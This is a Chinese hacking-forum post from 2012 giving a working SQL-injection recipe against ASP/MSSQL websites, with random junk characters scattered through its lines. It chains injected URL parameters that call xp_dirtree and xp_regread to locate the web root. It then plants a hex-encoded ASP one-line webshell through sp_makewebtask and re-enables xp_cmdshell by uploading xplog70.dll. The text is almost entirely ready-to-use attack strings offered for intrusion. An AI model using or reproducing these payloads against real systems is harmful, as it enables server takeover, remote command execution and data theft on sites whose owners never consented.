找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2437|回复: 0
打印 上一主题 下一主题

MSsqlL注入取得网站路径最好的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:20:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好,我们exec master..xp_dirtree'd:/test'
6 M0 B8 b) c) G2 X/ [% E' V假设我们在test里有两个文件夹test1和test2在test1里又有test31 T+ |) Y0 j+ K( O' y* b. D7 k
结果显示
/ |9 r) v5 g+ |% X' A1 E* W8 s& t. ^) @
subdirectory depth
" K: i- s& O  P5 C3 K8 A  Htest1 14 p! ?% Q  z. z& h! @" l  y/ c$ ]- B
test3 2- b% _4 {6 U, Q+ F
test2 1
% C6 v, \: }5 ]2 ^1 q. ]9 S5 E* s0 j- @7 w* A" T
哈哈发现没有那个depth就是目录的级数
* L6 L2 E7 E5 \4 }) F  \5 }( Dok了,知道怎么办了吧
: ]& H; e4 w) \9 b; p( d" y3 T+ ^1 Q+ n% l) O2 c' {
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- ! J1 U% W9 r+ G$ r; m
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- 8 E+ j! I* ?. D4 y0 F
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
9 A. }8 `/ g" E0 X! T# u! p/ s
6 U4 M& e! z8 i; C8 {$ G只要加上id=1,就是第一级目录 。% o7 r/ B3 a) c* b8 ?/ D/ h

6 @5 {1 U( I" P
% u2 R# s1 s/ q  J/ T& O6 \" W/ I通过注册表读网站路径:1 d9 V! w- ^$ P9 O2 J& e
& [9 E2 m! a6 K( @. q: S
1.;create table [dbo].[cyfd] ([gyfd][char](255));
  i: Q! `5 {# s5 h- O* N  q& j8 h
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--' X( p- O1 n5 v: |- V
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--6 q: e* `4 P, l% W0 J, E

9 P( ?( t- Y- H7 n( Y3.and 1=(select count(*) from 临时表 where 临时字段名>1)4 m, M* Q+ l) n  E' U
and 1=(select count(*) from cyfd where gyfd > 1) 7 }. X. T2 W; c( w
这样IE报错,就把刚才插进去的Web路径的值报出来了
: x* v: b/ `0 {! Z% p2 j% q; R3 g7 {9 T( f* [* Z9 c5 Q+ ^" M
4.drop table cyfd;-- 删除临时表; X3 C0 @( m. }9 n% ]9 O

9 {0 S; g5 E; t5 v+ a获得webshell方法:
/ Q) _; k- C# B1.create table cmd (a image)-- \**cmd是创建的临时表
1 [+ n1 ~# ]0 a; O5 ?* q' ^. T) o' v8 ~2 F
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
% {% V6 Q0 D/ U
  P+ ~1 A& Q8 r+ v0 t$ ^$ t
7 d5 P; o; x7 A7 f7 j8 a$ L# G( [3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
7 v3 l$ A& g* k2 qEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
8 f8 T* F0 f5 M; B' V; H6 y, p7 g- s, R+ @5 v, s" T
4.drop table cmd;-- 删除cmd临时表
' x, A% M7 |" k. x; L6 B7 }
2 p2 u! I" F  z9 W1 V恢复xp_cmdshell方法之一:
% _6 O4 j* B& s3 F9 t6 c我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:. |4 e. R, ?6 V; C6 D6 M: G: k
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
" k. Z6 K0 f  }# |! C恢复,支持绝对路径的恢复哦。:)
( t. k/ g( X/ r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表